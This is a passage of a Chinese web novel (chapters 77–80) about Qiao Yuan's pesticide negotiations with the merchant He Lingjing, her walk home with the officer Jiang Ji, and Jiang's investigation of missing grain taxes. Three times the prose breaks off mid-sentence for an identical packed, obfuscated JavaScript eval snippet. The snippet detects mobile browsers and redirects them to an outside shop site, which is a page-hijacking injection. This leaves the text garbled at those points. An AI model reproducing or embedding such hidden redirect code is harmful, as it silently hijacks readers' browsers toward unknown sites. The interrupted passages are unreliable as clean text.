如今乔元就是他向上爬的凌云梯，如何能放过。 乔元抬眸看了周进一眼，笑道：“想来我是来的不巧了，瞧大人日理万机，眼下都黑了一圈。” 周进在一旁干笑着打哈哈，“姑娘可别打趣我了，县衙不过老样子。倒是姑娘那问讯处，最近瞧着很是热闹，昨儿个锣鼓响得我在县衙里头都听得见。” 乔元接着又同他寒暄几句，这才切入正题道：“我今日来，是有一事想请大人指教。” “姑娘但说无妨。”周进也没坐上高堂，就近坐在乔元身旁的凳子上，侧身听着。 “前几日，万宝村的丁里正找我，说是有商贾同他联系，想要将农药售到景朝各地。”乔元丝毫没有隐瞒，直接将丁广业说的话都透了。 周进闻言，手拍桌子面上一沉，“这事儿我都还没理出个大概来，他怎的就敢就来撬墙角了！” 乔元不为所动，她吹了吹杯子里的茶沫，平静道：“知县莫恼，丁里正不过也是替人问询。” “没想到，本知县眼皮子底下也能出这样的人物来了。”周进攥紧手，大声唤了吴才进来，“去，把丁广业这狗东西给我叫过来。” 吴才领命而去，没走几步，就听得乔元阻止道：“等等。” 知县大人气得还没坐下，又听乔姑娘阻拦，站在大门处的吴才一时间不知自己是走还是不走。 “大人莫急。”乔元示意周进先坐下，“左右这事儿还没谈成，大人这般去请了丁里正来，白白坏了大人同他之间的情分。大人若信得过我，我倒是有一个法子。” “姑娘请说。”周进让吴才先出去等着，有些不情愿地坐下。 乔元道：“售卖农药这事儿，咱们早晚都是要做的。既然要做，不如一开始就找最好的。” “姑娘的意思是？” “买扑。” 周进眼前一亮，“这倒是个好主意。” 买扑其实就是现代意义上的招标，但在景朝，买扑的手续不仅复杂繁琐，且因着多用于皇商，其中的细节更是鲜为人知，普通人很难做成完整的体系。 “只是我对买扑知之甚少，不知道知县大人可认知这方面的能人。”乔元道。 周进眯眼沉思一番，直到两颊的肉都快堆成一团了，才道：“这事儿便交给我罢，不瞒姑娘说，我舅父是咱们郢州的户曹参军，买扑这事儿想必他定是熟悉，我且去信同他商量商量。” 乔元放下茶盏，笑道：“大人当真神通广大，那这事儿便劳烦大人了。至于丁里正那处，便由我去说罢。” 周进听得乔元的吹捧，方才的郁色散了些，“我哪里当得姑娘的夸奖，待姑娘入了京，我怕还要姑娘来提携。” 乔元同他相视一笑，一切尽在不言中。 出了县衙，乔元揉了揉笑酸了的腮帮子，找人带了口信给丁广业，然后敛下神色回到了问讯处。 刚到地方，就见乔长平正被一群姑娘围着，乔元听得他在里头高声喊，“别挤，别挤，这事儿不是我说了算的，要等我妹妹回来才知道。” 屋里头吵吵嚷嚷的，乱成一团。 乔元见状，挤到人群中央，用力拍了几下桌板，横眉道：“这是作甚！” 屋里的人见乔元来了，忙往外退了一些，乔长平这才得以松一口气。 “乔姑娘，我们是来报名入女学的。”有一个胆大的姑娘道。 乔元颔首，“那便排成一排，按顺序上楼。” 姑娘们你挤我挤，好容易才排成一排，乔元叮嘱乔长平若是有农人上门，务必要叫她下来，随即抬步上楼开始面试。 第一个上来的，是方才的同她说话的胆大姑娘。 “你为何要入女学？”乔元问道。 胆大姑娘面上飘过一团红云，有些羞赧道 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丁广业那处的速度很快，她刚出县衙托人给他送的口信，不过一个时辰，他人就上门了，还特意送了乔元一张帖子，说明晚醉仙居不见不散。 预留好时辰，乔元处理完来面试的姑娘和农人的问题，在第二日的黄昏，到了醉仙居。 醉仙居还是上次的模样，只不过前次巡查来时，整个醉仙居都被周进清场了。而今天的大堂里，倒是有不少人在开怀畅饮。 整个场面显得又热闹又奢靡。 “姑娘看看，可是要用些好饭食？”乔元一进来，热情的仆役便迎上来了。 “我找人。”乔元道。 仆役正要开口，一直盯着大门动静的丁广业便从一旁出来了，“乔姑娘，这里。” “丁里正。”乔元谢过仆役后，同他见礼。 丁广业忙回礼道：“下头吵嚷，我定了个雅间，还请姑娘随我来。” 他抬步往前，乔元会意跟上。 到了雅间，乔元便见里头已经坐了一个美髯壮汉。 壮汉一见到她，笑着起身迎道：“想来这位便是闻名郢州的乔姑娘了罢。” “不敢当不敢当。”乔元摆手回道。 丁广业在一旁笑道，“乔姑娘当真谦虚，我且同你介绍，这位便是我那好兄弟，马则生。” 马则生对乔元抱拳一礼，“乔姑娘有礼了。” 乔元回以笑容道：“马大哥好，我听丁里正说，你今日请我来，是要谈这农药的生意？” 马则生没想到乔元这么单刀直入，他粗狂一笑，坐在凳子上道：“本是这样的，但我那东家听说了这事儿，非要自己个儿来同姑娘谈，烦请姑娘等等，他已然在路上了。” 乔元颔首应下，坐在一旁等着人来。丁广业怕她觉得受了怠慢，赶忙让仆役先上些新鲜瓜果蜜饯。 好在没一会儿，乔元便见马则生站起，笑着同外头招呼，“东家，这里。” 乔元循声望去，来人被帘子挡着，一时间看不清面容。 最先映入她眼帘的，便是那犹如皓月的衣摆。 77. 女学（八） 玉制珠帘随着男人的行走而啷当作响，珠串前后起伏，男人的脸庞在其中影影绰绰。直到马则生上前将珠帘抬起，乔元才得见他真容。 同江稷深邃且有侵略性的五官不同，面前男人面容清俊，身姿挺拔如青竹，从上到下透着一股温润，连一旁的珠帘都较他逊色几分，仿佛天生就能引人好感。 男人一进来便见到了坐在主位上的乔元，他眼瞳里闪过一丝意外，唇角轻扬，温声笑着走近，“想来这位便是乔姑娘了？” 乔元起身相迎，同他见礼道：“不知公子如何称呼？” 男人在马则生的引导下，走到乔元身边，清冽的松香幽幽钻入她鼻尖，“我姓贺，名令璟。” “贺公子。”乔元道。 贺令璟噙着笑意应下，示意乔元先坐，随后道：“早就听闻乔姑娘蕙质兰心，制出黄板救郢州百姓于水火，今日得见，当真是贺某三生有幸。” “贺公子谬赞，不过是些小巧罢了。”这些话乔元听得多了，她调整好座位，很是波澜不惊地应道。 马则生见乔元并未往心里去，在一旁替贺令璟好言道：“乔姑娘，你可别觉得我们东家在说什么场面话。自打姑娘的事迹流传开来后，我们东家便对姑娘很是钦佩，早就想同你一见了。” 丁广业也在一旁跟着道：“谁说不说呢，乔姑娘这般的传奇女子，只怕满天下也找不出第二个了。” 乔元笑笑，依旧不咸不淡地应了几句。 一旁的贺令璟吩咐仆役上菜，再给自己倒了满满一杯酒，侧身转向乔元，“今日来迟了些，这杯酒就当是给姑娘赔罪的。” 乔元端起杯盏也想回敬，却听他道：“本是我的过错，哪里还需姑娘满饮。” 言毕，他便仰头喝下，喉结随着他吞咽的动作上下滑动，平白多出几分妖冶。 乔元眨眨眼转向一旁，待贺令璟喝完一杯，这才道：“贺公子无需这般，我不过一介平民，今日来也只是想同公子商议买卖农药的事。” 贺令璟放下酒杯，用拇指轻揩唇角的酒渍，“姑娘若要提到同农药的事，我今日就是满饮几坛都不算多了。” “为何？”乔元不解道。 贺令璟看向她，神色认真，“我前几日去万宝村看过施放农药的地块，田地里头的作物长势极好，连逛了好几圈也没见到什么虫害。这样堪比神迹的东西，若靠多饮酒便能得到，那便是我此生做过最划算的一笔买卖。” 这些农药在乔元心里不过是最简单的防虫剂，却得到他这样高的评价，听得乔元都有些不好意思了。 她转而问道：“若贺公子能拿到部分农药，打算如何售卖？” 贺令璟沉吟片刻道：“姑娘这话可难倒我了。” 恰巧此时有仆役进来上菜，打断二人之间的谈话，乔元见状并没有接着再问。 待仆役走出将门阖上，贺令璟才道：“实不相瞒，姑娘要是能让我来售卖农药，我必定倾尽所有，让姑娘研制的农药遍撒景朝大地。王朝各处，都将留下姑娘的名姓。” 这话倒很是豪气。 马则生在一旁与荣有焉道：“乔姑娘应是不知道，我们东家出身京城，十几岁就在商政各处摸爬滚打，到如今，光南来北往的商路就铺了几十条，也算是我们景朝顶有名的商人了。” 一直没出声的丁广业咋舌道：“我方才听着就觉得有些熟悉，马兄所说，可是那闻名天下的贺家商行？” 马则生‘嘿嘿’一笑，挠头有些过意不去道：“广业兄，我并非存心瞒你，只是我们东家说了不能拿着贺家商行的身份压人一头，我这才没提早告诉你。” 丁广业此刻已经不能用狂喜来形容，他惊地跳起来，语无伦次道：“那那那……公子便是‘千金手’贺公子了？” 贺令璟展颜道：“不错，是我。” ‘千金手’贺公子，年纪轻轻便能在皇商林立的京城杀出重围，一举夺下三条进贡通路，此生竟然能见到这般人物！丁广业立在原地手脚止不住地有些哆嗦，一时间激动地连话都说不出来。 倒是乔元，在脑中搜寻半天，也没几分关于贺家商行的记忆，更遑论什么‘千金手’了，她索性不再多想，问道：“以公子之能，要将农药送往景朝各地，莫约需要多久？” 贺令璟拿筷子沾了点酒，在桌子上同乔元画道：“我们商行在各个州都设有一个分行，若依姑娘所言，想东西送最快地送往各地，最好的方法就是在当地放料制作。譬如姑娘的农药，要是能在每一个州府都有一处地点供以制作，通过商行层级下放，只消一个月就能流通在景朝各处乡镇。” 这样的速度倒是出乎乔元意料，“可这未免太理想了些。”她道。 喝了酒的贺令璟两颊有些微红，眼瞳倒还算清明，“姑娘所言甚是，铺货并不是难事，难的是制作和运送。” “我虽不清楚姑娘是如何制农药，但想必在不同地方采用的制作原料，最终的成型效果可能都会不同。更极端的情况下，若只能用郢州产的某样原料，那便极大的增加了制作成本，等运送到偏僻乡镇，很容易就会因为零售价贵而无法推行。” “不过我今日所言，也不过粗略打个比方，姑娘要是愿意同我们贺家商行合作，待我细细推敲定下细则，定能给姑娘一个满意的答复。” 贺令璟说的很是中肯，连材料的细节都考虑到了，乔元一边点头，一边也在自己心头打起了盘算。 农药的盘口太大，光制作和运输就不是普通商户可以负担地起的。最坏的情况下，要是没有有能力的商户可以接手，她直接连同多人签约成立一个商队，也不失为一个办法。 “乔姑娘？” 正当乔元思索之际，松木香气再次将她萦绕，贺令璟向她凑近了些，“姑娘可是有话要说？” 二人之间的距离近到，乔元能清楚感受到他喷涌在她脸上的鼻息，她本能地往后退了退，短暂平复心绪后才道：“说来惭愧，这事儿独我一人也做不了主，知县大人早前便同我商议过，怕是得用买扑来决定。” 贺令璟回身挺直脊背，端起酒杯放在唇边，“若姑娘真因一顿饭就许了我们商行来售卖，我怕是要疑心其中是否有什么不妥之处了。姑娘为人端方，买扑又最是公平公正的，这一杯，便敬姑娘告诉我这些。” 他的话语回转得极好，丝毫没让人觉得被拒后的失落和不满。 乔元松了口气，暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14517087|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道不愧是经商的人，当真八面玲珑。 贺令璟将一些名贵的菜往乔元面前推了推，叮嘱她多吃一些，随后带着笑意同她说起一些行商路上的趣事来。 一直听着二人对话的马则生，见贺令璟不再问询同农药有关的任何话题，不免着急，“乔姑娘，即便是买扑，也定要多考虑考虑我们，就是只下放一种农药，也是好的。” 乔元点点头，“马大哥不必着急，就凭今日这顿饭，我也定是要同知县大人提上一提的。” 见乔元在打太极，马则生还想再说，但在瞄到贺令璟的眼神后，却忽然噤声。 贺令璟的眼瞳里，哪里还有方才对着乔元的温润有礼，他只冷冷扫了马则生一眼，身高八尺的大汉便仿若如坠冰窟，浑身直冒冷汗。 见马则生闭口不言，贺令璟又重新转变神色，继续同乔元说着一些景朝各处的风土人情，一顿饭下来，二人言谈倒颇为投契。 酒足饭饱，一行人从雅间出来，马则生先去结账，乔元同贺令璟则在后头边走边聊。 “提到沙漠，不得不说我在那处见到的一种名为‘沙婆子’的动物，只要起得早些，便能看到它们迎风站立，很是奇特。”贺令璟道。 乔元一听便笑道：“你见到的应是沙蜥虫，沙漠缺水，它们经常会以这种方式收集空气中的水气以供生存所需。” “姑娘当真博学广知。”没想到她连这个都知晓，贺令璟看向乔元的目光多了几分炽热，旋即又很好地隐藏了下去。 二人边说边转向往下的楼梯，到点散席的人逐渐多了起来，楼梯上人挤人的，乔元没跟着走，站在原地想要等人潮先过去，谁料一时不察竟被挤得后退一步。 见她脚下步子有些不稳，贺令璟忙抬手虚扶了她一把。 乔元转头谢过，便听得一道熟悉的带着凌冽的声音在身后响起。 “乔元。” 江稷只看背影，便认出从雅间出来的人是乔元，他刚想上前，转眼瞧见的就是一个陌生男人抬手扶了她一把。 江稷放在侧边的手下意识握紧，他快步走到乔元身侧，挤到二人中间拧眉道：“你怎的在此？” “江稷，”乔元见是他来，笑着同他打招呼，“我在这儿同丁里正他们吃饭呢。” “对了。”乔元示意江稷让一让，向他介绍道：“这位是贺家商行的东家，贺令璟贺公子，听说他在京城很是有名呢。” 江稷随意打量了男人一眼，就收回目光。 乔元说完，又紧接着同贺令璟道：“贺公子，这位是我们金台县的巡检使。” 贺令璟丝毫没有因为江稷的目光而气恼，他面上的笑容不变，同江稷躬身一礼，“巡检使。” 江稷不羁点头当是见礼，乔元还想再说些什么，他却道：“行了，莫说这些无关紧要的东西，如今天色已晚，我送先你回去。” 说罢，他不由分说地扯着乔元的袖子往外走。 乔元拗不过他，只好远远挥手同贺令璟道了声歉。 贺令璟立在二楼，看着乔元一路被江稷拉着走出醉仙居，扬起的唇角渐渐向下，最后恢复成冰冷的弧度。 这个男人，总觉得有几分熟悉。 78. 插曲（二） 直到拉着乔元走到醉仙居外的大路上，江稷这才松开了她袖子。 江稷鲜少有这么反常的时候，乔元第一反应就是醉仙居里头怕是有事。 她鬼鬼祟祟地靠近江稷，悄声道：“里头那人可是难抓？” “什么？”江稷没反应过来。 “你这么急着拉我出来，想来今日必有恶战。你放心我自己能回去，你且先去忙罢。”乔元拍拍胸脯，自以为很是了解他。 听完乔元的描述，江稷脑子转了半圈才反应过来，哭笑不得道：“你是以为这里头有逃犯，我才拉你出来的？” “不然呢？”乔元反问。 江稷垂首看着面前有些兴奋的姑娘，无奈地扶额道：“罢了，无论如何，我先送你回去。” “不用不用。”乔元摆手，“我识得路，你只管忙你的就是。” 说完，她便往家的方向走去。 乔元还在前头走着，江稷长腿一迈就追了上来。她回头，面庞上还带着疑惑，转而便听得江稷道：“乔元，我今日休沐。” 乔元停下脚步，偏头不解，“那你到醉仙居是？” “用饭。”有些恨铁不成钢地丢下两个字，江稷抬步往前走去。 “你……平常都在此处用饭？”乔元话语里带了十成十的惊讶。 醉仙居里头的饭食贵的吓人，一壶小团茶就要三十文，当巡检使来钱竟这么快？ 江稷像是看穿了她心头所想，又道：“偶尔罢了。平日里忙的不行，大都在巡检司里头将就吃了。” 乔元轻舒一口气，这才跟着他一齐往青石巷走去。 春日夜风拂过，树梢斑驳的阴影落在地上，随之轻轻摇曳。有暗香浮动。 同江稷这样并肩行走，乔元这才恍然才发觉，除却公事上的交流，她对江稷几乎是一无所知。他住在何处、家中几口人、平日会做些什么、于她而言全是空白。连他大多数时候都是独自一人用饭，也是今日才知晓。 斟酌半晌，乔元开口道：“你方才，为何一定要拉我出来？” “那人瞧着不像是善茬。”江稷顿了一下答道。 闻名天下的贺家商行，它的东家若是个善茬，早就被人生吞活剥了。乔元倒没想到是这个答案，她笑道：“贺公子今日是为了农药的事情来的，他想全部代下这桩生意。” “你答应了？”江稷忽的侧眸看向她，喉头有些发紧。 “不曾。”乔元没发现江稷暗含的紧张情绪，只道：“这人虽然看上去温文尔雅的，但瞧着心里头的盘算怕是不少，我且再观望看看。” 听得乔元这么说，江稷胸腔里的燥郁散了几分，嗤笑道：“我看人向来不会出错，那人定不是什么好东西。” 难得听江稷这般指摘一个人，乔元问道：“你在京城的时候没见过他吗？听说他很是有名。” 江稷有些不屑道：“京城里头遍地是官，一脚踩下去碾死的蚂蚁没准都是有后台的，哪里认得完全。” 他这么一说倒也没错，乔元没再拘泥这些，跟着他又走了一段路。眼见快到青石巷口了，乔元才听得江稷问道：“听说你让李成替你找人。” “你如何知道？”话一出口，乔元旋即摇摇头。李成是他的人，他自然知晓。 “你找人假扮大夫，可是遇上什么事儿了？”江稷话带了几丝自己都没察觉的担忧。 “无妨，不过是家里的旧事而已。”这事儿是周素的心病，乔元不想同他透露太多。 江稷看出乔元不愿多言，抿唇道：“后日，我将人带到巡检司，你随时来寻便是。” “可我没见过那人，万一不合适该如何？”乔元蹙眉，有些不满江稷的安排。 “我请的并非是假冒的戏子，而是真杏林。”江稷缓了声同她解释，“后日你先来看过，若是不合你意，我再替你寻别人来便是。” “这位真杏林，莫非是从京城里头来的？”听江稷这样说，乔元眼瞳蓦地一亮。 江稷见她这般高兴，嘴角也泛起一丝笑意，顺着她的意思点了点头。 “这……”乔元一时欣喜万分。若真是京城来的杏林高手，万一曾见过乔天宝的病症，说服周素起来便很是如鱼得水。 她几乎是下意识地向前凑近江稷，认真看着他的双眼道：“江稷，多谢你。” 江稷觉得浑身的肌肉都有些僵硬，他同乔元并非没有近距离接触过，但她还是第一次这样主动接近他。 胸腔里有什么东西在狂跳，抬手放在唇边轻咳一声，江稷道：“不必，我不过是为了让你能好生帮我解决盐碱地的麻烦而已。” 提到盐碱地，乔元的笑往回收了一些，眼瞳里泛起研究员独有的专注，她道：“你放心，关于盐碱地的改良我已经基本定下方向了，等去巡检司接人那日，我定能将写完的书册带过来给你。” 江稷闻言，点头应下。 “对了，”乔元状作无意问道：“这块盐碱地，可是位于边境？” 江稷侧眸看向乔元。她瞧着像是无意问询，但连续眨动的眼睫还是出卖了她心头的紧张。 他有些好整以暇地抱胸问道：“你如何确定就是边境？” 乔元说出早就打好的腹稿，“我随便猜的。边境环境恶劣，更容易沉积盐分，盐碱地应会比较常见。” “是吗？”江稷看向她，目露探究。 “难不成，是哪条大江大河的边域？”乔元只当不知，接着问道。 江稷停下脚步，月色流过他棱角分明的面庞，男人叹了口气，定定道：“乔元，你若是有话直言便是，不必在这里小心打探。” 乔元没想到不过几句话就被江稷看出来了，她静默片刻，抬眸小心翼翼地问道：“你拿到盐碱地的改良方案，该不会拿去做坏事吧？” …… 乔元问询的很是认真，看来是真的怕他拿去做什么坏事。江稷忽的就被她气地没脾气了，他站在她面前，低低地笑了起来，随后笑声越来越大，直到眼角泛出泪来，才道：“乔元啊乔元，你这是把我当成什么人了？” 江稷笑得这般不给面子，乔元两颊都有些气鼓鼓的，她恼道：“盐碱地形成特殊，普通人根本不会知道，你贸然拿了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533736|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西来，我自然是要问清楚的。” 江稷好容易止下笑声，他：“放心，我拿它自有用处，虽不能和你明说，但绝对不是坏事，请你信我。” 最后四个字落下的时候，江稷的神色意外地认真，像是在同她许下什么誓言。 乔元只看了一眼，就莫名觉得自己的脸颊有些发烫。 都怪江稷，这般笑她。 后半程乔元没再管他，一路小跑着就入了青石巷，江稷在她身后不紧不慢地跟着，面上依旧带着笑意。 乔家门口的灯笼亮着，乔元径直推门而入，甫一回头，就见江稷站在稍远一些的地方看着她。 在直接关门还是谢过后再关门二者中犹豫再三，乔元还是选择了后者，一礼过后，木制的大门‘砰’的一声，就被关上了。 人已经送到，他也没有再留在此处的必要。但想起乔元方才浑身炸毛的样子，江稷负手在原地站了一会儿，笑着摇摇头，这才重新往巡检司的方向去。 —— 回到住处的贺令璟，此刻正坐在书房里，仔细听下头人报上来的消息。 “依你所言，那巡检使到金台县不过几个月？” “是。属下去查了有关他的所有消息，这巡检使名为江稷，出身临阳江氏旁支，是家中独子。他的爹娘在江氏都不得重用，说是旁支都有些勉强，也不知道凭他的出身，是怎的混到这个位置的。” “可还有别的？”贺令璟问道。 “他到了金台县后，做的都是些釜底抽薪的事情，虽说翻了不少旧案，但惹得道上不少人都很是不快。马帮派了不少人对付他，不过都没成功。这人的武艺很是高强，迄今为止都没人能进得了他周身三尺之内。” 贺令璟拧眉思索片刻，沉声问道：“你可查过他们家同江氏哪一脉最为亲近？” 下头跪着的黑衣人噤声一瞬，说话不复方才那般利索，有些战战兢兢道：“属下不知。” 贺令璟面上有些难看，他冷声道：“那便去查，记得，别惊动了人。” “是。”黑衣人即刻领命而去。 贺令璟手里抓着白玉坠子，在细细揣摩着。 三年前朔州之战，江氏家主江宏挂帅出征，就在众人觉得江氏必赢的时候，前线却骤然传回消息，江宏败给夷狄连失城池十六座。天子震怒，将主支江宏一脉的男丁尽数枭首流放，女眷则充入奴籍一生为奴为婢。盛极多年的临阳江氏，不过半年就被踢出了景朝的权力中心。 按理来说，江氏这般偏远的旁支，算起来同普通人家已经无甚差别。 可是为何，他总觉得有些不对。 贺令璟闭目思索良久，始终觉得自己似乎忽略了什么。 江稷带给他的感觉实在是太过熟悉了，但他可以确定，自己从未见过这个男人。 这件事很不寻常，偏生他现在没有任何多余的线索。 贺令璟思索再三，提笔写了一封书信，唤人进来将这封信即刻寄出，待做完这一切，他这才坐在椅子上深深吐出一口浊气。 现在只愿京城那位，能给他答案。 79. 插曲（三） 回到巡检司，不过戌时过半。 今日送上来的卷宗，在桌案上叠成高高一摞。江稷默然扫过一眼，没去管它，而是直接下了地牢。 经过巡检司接连几个月的大动作，地牢里头关押的犯人该行刑的行刑，该流放的流放，现下已经空了一大片。 一直走到最里头那间，江稷才停下脚步。 宋录事一听便知是江稷来了，他‘咕噜’着从枯草堆里坐起来，冲江稷招招手，“你来得正好，自打你把旁边那汉子提了出去，我已经好些日子没同人说过话了。” 江稷拿出钥匙，很是随意地打开宋录事的牢门。他也不关门，就这样将钥匙串挂在门锁上，堂而皇之地走进了牢房，坐在了里头的枯草堆上。 似是觉得枯草有些扎腿，江稷又往后退了退，斜倚在牢房的围栏上，“我还有一事不明。” 宋录事须发皆白，因为长久被关在暗无天日的地牢里，面色白的吓人，他撇撇嘴道：“小子，该说的我都同你说了，你再问什么我也不知道了。” 江稷颔首，“我知道。” “那你还问？”宋录事冲他翻了个白眼。 他这一把老骨头，左右这辈子已经交代在这里了，他才懒得去管什么劳什子的礼仪尊卑。 “别急，我不过是想同你商讨而已。”江稷瞧出了他面上的不耐烦，气定神闲道。 “商讨个屁。”宋录事转头就啐了一口，“你把我抓来关了这么久，车轱辘轴来回转就说这么几句话，不能有个新鲜的？” “你想听什么新鲜的？”江稷问道。 宋录事抓着枯草朝他就是一丢，“可查到幕后黑手了？” 江稷摇摇头。 “这事儿是不是牵连甚广，得扯下景朝一大批的官？”他可好奇地紧。 江稷仍旧摇头。 “那总共涉及了多少州县你总知道罢！”宋录事这句话已经靠吼了。 江稷还是摇头。 枯草以迅雷不及掩耳之势被丢了过来，宋录事气得吹鼻子瞪眼，“这么些时日，你到底查出什么来了！” 江稷任由枯草盖在他身上，甚至心情极好地直接躺了下去。 宋录事见他这副鬼上身的赔钱样子，在一旁挖苦道：“你这巡检使倒是奇怪，牢房这样的地方，说躺就躺，瞧着比在家还自在些。怎的，你江氏难不成落魄到只有草堆才能睡了？” 江稷顺着他的冷嘲热讽道：“忆苦思甜，多睡睡牢房才知人世美妙。” 宋录事怒了又怒，最终还是无法，只能选择懒得搭理他，自顾自地也躺到了草堆上。 江稷偏头看了一旁的宋录事一眼，勾起唇角，站在他的角度开始重新思考起这一整件事来。 宋录事的案情，说起来很是简单——他把每年上缴到州里的田税少报了一成。 景朝的田税基本上都是以粮食的形式收取，收取后的粮食一部分用以满足国家日常运作的需求，另一部分则成为各州县的粮食储备，放入粮仓。 而这部分消失的田税，则由宋录事牵头，卖给了一个自称南来北往无所不通的商客，钱明。 钱明连带着他的兄弟，在各处州县接近负责田税的录事，从他们手里抽了至少一两成的田税。 以江稷的眼光来看，这事儿做得不算隐蔽，但迄今为止，却没有一个地方的县衙起疑。 更怪的是，不论他怎么查，都查不到这批消失的田税去了哪里。那么多的粮食，一夜之间搬离县城，便是神仙来了也几无可能。 至于钱明同他那兄弟，能吐的东西已经吐了个干干净净。那个所谓的郭罗人江稷也查过了，就是个普通游商。 死来想去，最后只剩下一条同转运司有关的线索。只可惜转运司的人手脚很快，他到现在也查不出什么名堂来，事情进行到这里便再也没了下文。 落针可闻的牢房里，江稷忽然开口问道：“你说，这些粮食最终都会被送到哪里？” 宋录事‘哼’了一声，“我哪知道，总不能放地里烂了罢。” 江稷看了眼没好气的老头，“是了，总得是有人吃的。” 景朝人口众多，各个地区人口稠密度不一，要这么多粮食的地方，定然本身产不出多少吃食才对。但若真是这样的地方，一旦有大批量的粮食进来，必是极度引人注目的。偏生他查了许久，也没什么地方有上述异常。 宋录事转个身，看见江稷拧成一团的眉目，嘲笑道：“小子，我看你就是一根筋，才查不出案子。按我们老一辈的话来说，常理推断不出来的时候，不如往反方向去想想。” 一个阶下囚还训起他来了。 江稷起身掸了掸枯草，“你还是先想想，怎么不老死在这地牢里罢。” 说罢，他走到牢房外关好门，径直往地面走去。 宋录事扒着围栏，在后头叫嚷，“小子，下次来的时候给我带点酒，太久没喝都不知道是什么味儿了。” 江稷的声音带着调侃从远处传来，“喝酒减寿，省省罢。” —— 青石巷。 乔家院里已然熄了灯，各处都静悄悄的。一片漆黑之中，唯独乔元的屋子还亮着一盏暖黄色的烛火。 她在给严维运写信。 这些时日在农事上的所见所闻，还有自己的不解之处，她全数写到了上头，盼着严维运能给自己一个解答。 农学同昆虫学虽然有千丝万缕的联系，但毕竟不是她的主攻方向，有些东西研究得越深入，越觉得有些力不从心，她只能期盼这个时代最顶尖的农学家能给她指引路途的方向。 将写完的信放到信封里头，乔元这才收拾好躺上床。 不知怎的，在床上翻来覆去半晌，她愣是无法安眠。一闭上眼，江稷的脸就出现在她面前，男人笑得疏狂又不羁，偏生到最后，却是那样认真地看着她。 “请你信我。”低沉喑哑的声音仿佛就在她耳边响起。 怀里的被子被攥的发紧，眼瞧着是睡不着了，乔元认命般重新起床，又逼着自己读了一个时辰的书。 翌日一早，去驿站寄完信，乔元很是有气无力地到了农事问讯处。 刚开门没一会儿，陆陆续续就有姑娘上门了。 农事问讯处，来读书就送钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14545111|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的消息，一传十十传百，多的是人想来碰碰运气。 有活能让自己忙起来，至少不用想着昨天同江稷的那点事儿，乔元心头还是欢喜的。 待忙完一早上，她打开册子仔细翻看了一遍，这才惊觉在上头已经登记了二十位姑娘的名字。 除却身份有些特殊的邱月和李琴娘，后头来的人无一不是贫苦人家出身的姑娘。 书册上头，有一些姑娘甚至没有一个像样的名字，只用大丫，贱女这样粗鄙的名字叫着。 小心翼翼地抚过上头的每一个字，二十个名字，就是二十个想要靠自己在这个时代立住脚跟的姑娘。 乔元忽然觉得自己的胸腔里，澎湃着一股不知名的情绪。她这人没什么优点，唯一拿得出手的，就是不论如何，都不轻言放弃。 她一定要带着她们，走向更高更好的未来。 待心绪平复过后，乔元阖上书册，安安静静地坐在桌案旁写着第一课要教授的东西。 写了不知道多久，忽然有稚嫩的叫喊声急促传来，“乔姑娘，乔姑娘。” 乔元抬头看去，是个从未见过的孩童。 “你唤我作甚？”乔元拉着冲进问讯处的小丫头的手。 “乔姑娘，我是替李绒姐姐来的，她叫我请你快去救救她。”小丫头面色红成一团，急得在地上不住跺脚。 “什么？！”乔元神色一凛，“你可知发生什么事了？” 小丫头摇摇头，“我不知道，只知道今日一早，李叔家就吵个不停，我还听到有东西砸碎的声音，可吓人啦！” 乔元连片刻都未犹豫，“带路。” “哎。”小丫头应了一声，在前头飞快地跑了起来。 等二人气喘吁吁地跑到了李绒家，却见里头异常安静，连一丝声响也无。 乔元顾不得顺气，直接上去敲响了她家的大门。 “李绒，李绒你在吗？”连敲了好几声，无人应答。 乔元直接往后退了几步，想借力从围墙翻进去。 正当她四下寻找踏板的时，她方才的叫喊声惊动了对门的妇人，妇人从门里出来，对着乔元道：“姑娘，你别喊了，绒姐儿方才被送到医馆去了。” “医馆？为何要去医馆？”乔元心头凉了半截。 那妇人看了眼四下，这才接着说道：“方才绒姐儿同家里人大闹了一场，不知怎的便受伤了，被抬出来的时候，那血流了一地，止都止不住，渗人的狠。” 方才太急了没发现，现在细看，地上的泥土明显有几处比一旁更深一些。 屏住呼吸，乔元迫使自己冷静下来，这才开口道：“敢问他们去了哪家医馆？” 妇人想了片刻，“离这儿最近的应该就是千金药铺了，约莫是在那里。” 琼花巷的路她不熟悉，乔元直接丢了一块碎银给妇人，“前头带路。” 碎银落地发出‘啷当’声响，妇人的脸上登时笑得合不拢嘴，连门都来不及关，“姑娘快随我来。” 叮嘱小丫头快些回家，乔元紧跟妇人，快步往千金药铺走去。 李绒，你可千万不能出事。 80. 插曲（四） 